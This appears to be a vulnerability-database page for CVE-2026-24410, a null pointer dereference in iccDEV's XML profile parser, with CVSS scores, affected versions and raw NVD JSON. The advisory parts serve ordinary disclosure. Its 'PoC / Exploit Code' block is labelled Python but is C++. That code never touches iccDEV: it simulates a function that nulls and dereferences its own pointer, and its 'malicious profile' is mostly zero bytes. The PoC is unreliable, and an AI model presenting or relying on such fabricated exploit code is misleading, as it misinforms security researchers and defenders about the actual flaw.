Security Vulnerability Report
中文
CVE-2026-24410 CVSS 7.1 HIGH

CVE-2026-24410

Published: 2026-01-24 02:15:49
Last Modified: 2026-01-30 18:24:57

Description

iccDEV provides libraries and tools for interacting with, manipulating, and applying ICC color management profiles. Versions 2.3.1.1 and below have Undefined Behavior and Null Pointer Deference in CIccProfileXml::ParseBasic(). This occurs when user-controllable input is unsafely incorporated into ICC profile data or other structured binary blobs. Successful exploitation may allow an attacker to perform DoS, manipulate data, bypass application logic and Code Execution. This issue has been fixed in version 2.3.1.2.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:H

Configurations (Affected Products)

cpe:2.3:a:color:iccdev:*:*:*:*:*:*:*:* - VULNERABLE
iccDEV <= 2.3.1.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2026-24410 PoC - Malformed ICC Profile triggering Null Pointer Dereference // This PoC demonstrates how a crafted ICC profile can trigger the vulnerability #include <iostream> #include <fstream> #include <vector> // Simulated vulnerable function void CIccProfileXml_ParseBasic(unsigned char* input, size_t len) { unsigned char* ptr = nullptr; // Vulnerable: Direct dereference without null check // In real scenario, this would parse XML structure from ICC profile if (input != nullptr && len > 0) { ptr = input; // Simulate parsing operation that can lead to null pointer if (len < 4) { ptr = nullptr; // Trigger condition } } // Vulnerable code path - no null check before dereference unsigned char val = *ptr; // NULL pointer dereference here std::cout << "Parsed value: " << (int)val << std::endl; } // Generate malicious ICC profile data std::vector<unsigned char> generateMaliciousIccProfile() { std::vector<unsigned char> profile; // ICC profile header (128 bytes) for (int i = 0; i < 128; i++) profile.push_back(0x00); // Truncated profile tag table - triggers the vulnerability // Setting size that causes len < 4 condition profile.push_back(0x01); // Truncated data profile.push_back(0x02); // Insufficient length return profile; } int main() { std::cout << "CVE-2026-24410 PoC - iccDEV Null Pointer Dereference" << std::endl; std::cout << "Target: CIccProfileXml::ParseBasic()" << std::endl; auto maliciousProfile = generateMaliciousIccProfile(); std::cout << "[*] Generating malicious ICC profile..." << std::endl; std::cout << "[*] Profile size: " << maliciousProfile.size() << " bytes" << std::endl; // Trigger the vulnerability CIccProfileXml_ParseBasic(maliciousProfile.data(), maliciousProfile.size()); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-24410", "sourceIdentifier": "[email protected]", "published": "2026-01-24T02:15:49.080", "lastModified": "2026-01-30T18:24:57.203", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "iccDEV provides libraries and tools for interacting with, manipulating, and applying ICC color management profiles. Versions 2.3.1.1 and below have Undefined Behavior and Null Pointer Deference in CIccProfileXml::ParseBasic(). This occurs when user-controllable input is unsafely incorporated into ICC profile data or other structured binary blobs. Successful exploitation may allow an attacker to perform DoS, manipulate data, bypass application logic and Code Execution. This issue has been fixed in version 2.3.1.2."}, {"lang": "es", "value": "iccDEV proporciona librerías y herramientas para interactuar con, manipular y aplicar perfiles de gestión de color ICC. Las versiones 2.3.1.1 e inferiores tienen Comportamiento Indefinido y Desreferencia de Puntero Nulo en CIccProfileXml::ParseBasic(). Esto ocurre cuando la entrada controlable por el usuario se incorpora de forma insegura en datos de perfil ICC u otros blobs binarios estructurados. La explotación exitosa puede permitir a un atacante realizar DoS, manipular datos, eludir la lógica de la aplicación y la Ejecución de Código. Este problema ha sido solucionado en la versión 2.3.1.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 4.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-476"}, {"lang": "en", "value": "CWE-690"}, {"lang": "en", "value": "CWE-758"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:color:iccdev:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.3.1.2", "matchCriteriaId": "D34CF745-E75A-4F1C-AD7B-9AC1A2E9F680"}]}]}], "references": [{"url": "https://github.com/InternationalColorConsortium/iccDEV/commit/3cf522b13832692b107322cd51c4ae5c3a21f366", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/issues/507", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/security/advisories/GHSA-398q-4rpv-3v9r", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}